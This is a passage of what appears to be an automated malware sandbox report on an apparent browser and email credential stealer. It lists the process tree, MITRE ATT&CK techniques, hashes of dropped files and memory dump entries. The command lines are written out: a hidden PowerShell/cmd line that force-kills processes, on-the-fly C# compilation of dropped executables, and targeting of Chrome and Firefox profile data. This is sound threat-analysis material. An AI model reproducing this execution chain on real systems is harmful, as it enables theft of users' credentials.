    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1696
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1636
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3232
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4928
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:896
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      outlook_office_path
      PID:4044
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        5⤵
        Loads dropped DLL
        
        PID:2456
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /optimize+ /target:exe /platform:x64 /unsafe+ /out:"C:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.dat" "C:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.tmp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5024
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES80CF.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA213E5D964BE4C9A8F2CC835675A9CCA.TMP"
        6⤵
        
        PID:876
    - - C:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.dat
        
        "C:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.dat" 2456 "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll" "\\.\pipe\chrome.nacl.28804_1D0D"
        5⤵
        Executes dropped EXE
        
        PID:4492
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /optimize+ /target:exe /platform:x64 /unsafe+ /out:"C:\Users\Admin\AppData\Local\Temp\.dfc_488df484.dat" "C:\Users\Admin\AppData\Local\Temp\.dfc_488df484.tmp"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:684
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8497.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4AE65BC6146E4A45847514E73BB27723.TMP"
        6⤵
        
        PID:4304
    - - C:\Users\Admin\AppData\Local\Temp\.dfc_488df484.dat
        
        "C:\Users\Admin\AppData\Local\Temp\.dfc_488df484.dat" "C:\Program Files\Mozilla Firefox" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\edapv89t.Admin|Admin;C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\hqbw6bhi.default-release|default-release" "C:\Users\Admin\AppData\Local\Temp\c376-95cl-adc1-7451\Firefox"
        5⤵
        Executes dropped EXE
        
        PID:3280

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3856

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1628

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

msasn1.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll
Size 63KB
SHA256 0232e3d13e53fc069b113190903be389ec59f5991acd99aecc8011d19c2d9282
MD5 96a644ea4c30cd71c965810ad0bdad55
SHA1 e748e8bc6cee870b0fb5ea798faa29f0832170f3
SHA512 7b22ea69c18b7e1f4114fe2368688ebfc9a64803dfe23a2b0d460caf62c27e6f5b00b10752ebf69172eba040b7bcd5580a9fb9bf72025297dc6d47438fd13de0
SSDEEP 1536:MGLiTh9ZTWZg8FjwYDbCgs7ZodphAQ/m5:MGLiTh9uMYqgsiph9
TLSH
T1FF53C53871C981B7C297CD30586DBF12527330A38FE1669F33ACF61D1E7979A2A1650A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 def4f4f87ba9b841fac784a98ef04d2b7e6fd598309c610eeb321e3521158943
MD5 0e67af1c5918e1d1bda902e0e301e16c
SHA1 df05bf689461ca0c66b5cd3430520cb9443465c8
SHA512 23587beb5d0fad03e4016d3c79821f578472015d9398159cf9ee1faad6cdac54d7378ae7e33190fc81f62f7771352401c67dc5e75e87a3cfdb68135e4c69cc40
TLSH
T1E3217523F39C8921CC8A013A509E9C1476B283D741AECE9F6FC4D604E27F988CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

.dfc_488df484.dat

Path C:\Users\Admin\AppData\Local\Temp\.dfc_488df484.dat
Size 9KB
SHA256 17aff254976ad4b41e0678ef0a85aca78824a8a43b89a97f4f1ba2375a512c31
MD5 83b74392da82f0b47ba724d781e7a255
SHA1 6be724ebc6fda2175dc4c47b4f5f05803c46f14f
SHA512 28c87bb73c3f64ae7a48fd33649d52af34930153a4cd92589a86a60cc65fa7fa7b629cee29b138fb5cbd4866e9ffaff9009f4f7af80b4179b4651e86bcf1178d
SSDEEP 192:G3GnXD2f3iMG1ImkWWZA8a7LlgErcrQBn:em43ibpWpMnrcs
TLSH
T1B612C526B7F40A66D9BE877D3872036042B0F6424977C74F2CDE396E9EB23D544927A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.dfc_b5311fa7.dat

Path C:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.dat
Size 6KB
SHA256 cbeed896af9050d495c52739245363ad6fef0a6aab3c3e73135af4e65fde2d09
MD5 2e603d232c1290a0734a93ba087855fe
SHA1 388e5611022b4fe90760e148fb0b5d182105ecbf
SHA512 e3e4c27ee69879f661de447b38bd56bcd7ca17baf24744f3c62577572916405084bb7de4d2f11144fc372c71728a1b778265c7ca7a95ac0f7031965270c360ad
SSDEEP 96:JOoKU4XMuUdFis4hezvUvXfhdOz88E380bbkrV1CLBLzNt:374hNRnQ7mBN
TLSH
T1D9C10A9B87DC0672E8AE033C51B347156379D5B255238B9F68D1006BAE237E447237B1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES80CF.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES80CF.tmp
Size 1KB
SHA256 b938a76a9934ccb1a381b3098c0bc24d0351302a3a903558a40f36ad36e448f2
MD5 2816b725f03e0287d42d0d84f347246d
SHA1 f72a9e82c84910ebc3d7bdf8cb2e1cdae95bb070
SHA512 7e8b15b2ae34934d7778b68e2df5b47ba656180f79972fba513909f4da0153884cd78b51171319f8b2c33c3289cbec6c01197e9dedb36be244883f15ca66d376
TLSH
T16241534083DC471FF1B3533129F79B2AA674BE95AAA9875E7084122E1E02740DDC36F2
MD5 SHA1 SHA512 TLSH

Submit Download

RES8497.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8497.tmp
Size 1KB
SHA256 246aaa0a4208f787ee9551094664102c0421b8800d25d339448c1b4db7c7b1e5
MD5 ca9432d8600df6aa8eeb9d57fc862300
SHA1 9ae5522c6725168ab0b020517311aa266ed21be3
SHA512 fd15b713e2a4f4c8ffbcaea468cc609aa51ea0dcae6178d77cab8f672b0c8cd251fdd329764efa24e0be6ac2fcecd7d61740d887a256a82ed3c1707e475d8485
TLSH
T190413340C3D88B1FE172573169F79726A774BF95AA9A475EB088162E1E03740CDD32F2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_idzxlnz1.ubl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_idzxlnz1.ubl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

4df7b5ca51364300aa920e1f12a10264.db

Path C:\Users\Admin\AppData\Local\Temp\c376-95cl-adc1-7451\.temp\4df7b5ca51364300aa920e1f12a10264.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.dfc_488df484.tmp

Path \??\c:\Users\Admin\AppData\Local\Temp\.dfc_488df484.tmp
Size 5KB
SHA256 ee9b5b8c049eeaca0772d78791e4cbff4049d0390caf07a77ee27070df096f3a
MD5 d7433bc585ec75f7b7bd952a4cb6ebef
SHA1 7aafd22384aeaf19431c19c684e41d2d580ebb62
SHA512 2a5e5951acf357da7240b61db3716b5ca55e8f706d75b4757240fdca9d91acdd8510823c7983659658836aa557f8a19a247d21824f2fb6cadbadb4913debaac4
SSDEEP 96:6jPKov0Eqt0lGfVwarkv8ZE498dmzUYK+8hwbaTy8bLvbq7VOgQTy/x:GNc7yKE49JzUh+8WeyMhTwx
TLSH
T1E5B1954435A0E92BCEF4184A04DB067DEA42567347744CB3C7E64E094EB7912E179F3A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.dfc_b5311fa7.tmp

Path \??\c:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.tmp
Size 3KB
SHA256 b2039360f11e07eea9c58b242176fb079d2d8612c468ff8c5e126312cd64965a
MD5 d61abc178862a54927023622c2eba9fc
SHA1 6d0fc4892b1c793dbd98ef7e4eb65831c191eb54
SHA512 dc36c30a6cd42123ef69cb93aeae789d56642d514b78cda71547f1bb53a444ce290b6ac42c488452a8ec94639edc3682597d52b3ef029c9d030fbe8c91c74a2f
TLSH
T19161EE94235BA76026A3041F4ADBC059F3679133473EEC14BEAD8512AF8911FB379BA1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC4AE65BC6146E4A45847514E73BB27723.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSC4AE65BC6146E4A45847514E73BB27723.TMP
Size 1KB
SHA256 db6fa93bbde1ab3b47e482ebd68333cde4d6592b98578a4d18b7001d222be225
MD5 bdb8efb785e91d746d19f3f80e7fa4a6
SHA1 d6c3f547f9425bc70367304d3766cf6b7b07d3cf
SHA512 4505744e23542fa46c3e1dd8811f5e0d57b960dd8f10dd76650714333ae3297e8aadd0456caae3ba0c2061343444cdc0e3484af5b2f0f461aeb5e3a0684eeb7c
TLSH
T1FA21EF41A3E8930FF1B34730A9F6C3639268BF569C7943DC3488171F2F16A0184936B1
MD5 SHA1 SHA512 TLSH

Submit Download

CSCA213E5D964BE4C9A8F2CC835675A9CCA.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSCA213E5D964BE4C9A8F2CC835675A9CCA.TMP
Size 1KB
SHA256 910a8532f44870bb359df78e90db2ddce7df36c9e66edece74d8ff56aa733c40
MD5 37b1131a571e7fb916ce9b0d9cd122fe
SHA1 bc50504f1875b66d39dc63833f1911ed1baf1e2f
SHA512 35ab65af7b20c6ee9630563336867c68365879db258cc623d0e9ebf7658105c6cd4980a1a63a59de8665395c87459377536d4d276cc9491a656fe6d738f1fca4
TLSH
T1D221EB81A3E8431EF1F3477079F2D3639168BE669C7983EC3488175F2F25A008893AB1
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1696-23-0x000002005B240000-0x000002005B38E000-memory.dmp

Download

memory/3088-13-0x000002871DF10000-0x000002871DF2E000-memory.dmp

Download

memory/3088-1-0x000002871E000000-0x000002871E010000-memory.dmp

Download

memory/3088-0-0x000002871E000000-0x000002871E010000-memory.dmp

Download

memory/3088-7-0x000002871E310000-0x000002871E332000-memory.dmp

Download

memory/3088-11-0x000002871E000000-0x000002871E010000-memory.dmp

Download

memory/3088-30-0x0000028738A40000-0x0000028738B8E000-memory.dmp

Download

memory/3088-10-0x000002871E000000-0x000002871E010000-memory.dmp

Download

memory/3088-24-0x0000028738A40000-0x0000028738B8E000-memory.dmp

Download

memory/3088-12-0x0000028738A40000-0x0000028738B8E000-memory.dmp

Download

memory/3280-95-0x0000000000490000-0x0000000000496000-memory.dmp

Download

memory/4044-31-0x0000000006070000-0x0000000006614000-memory.dmp

Download

memory/4044-25-0x00000000000A0000-0x0000000000140000-memory.dmp

Download

memory/4044-32-0x0000000007010000-0x0000000007076000-memory.dmp

Download

memory/4044-53-0x0000000007ED0000-0x00000000083FC000-memory.dmp

Download

memory/4044-52-0x00000000077D0000-0x0000000007992000-memory.dmp

Download

memory/4044-51-0x00000000075B0000-0x0000000007600000-memory.dmp

Download

memory/4492-65-0x0000000000290000-0x0000000000296000-memory.dmp

Download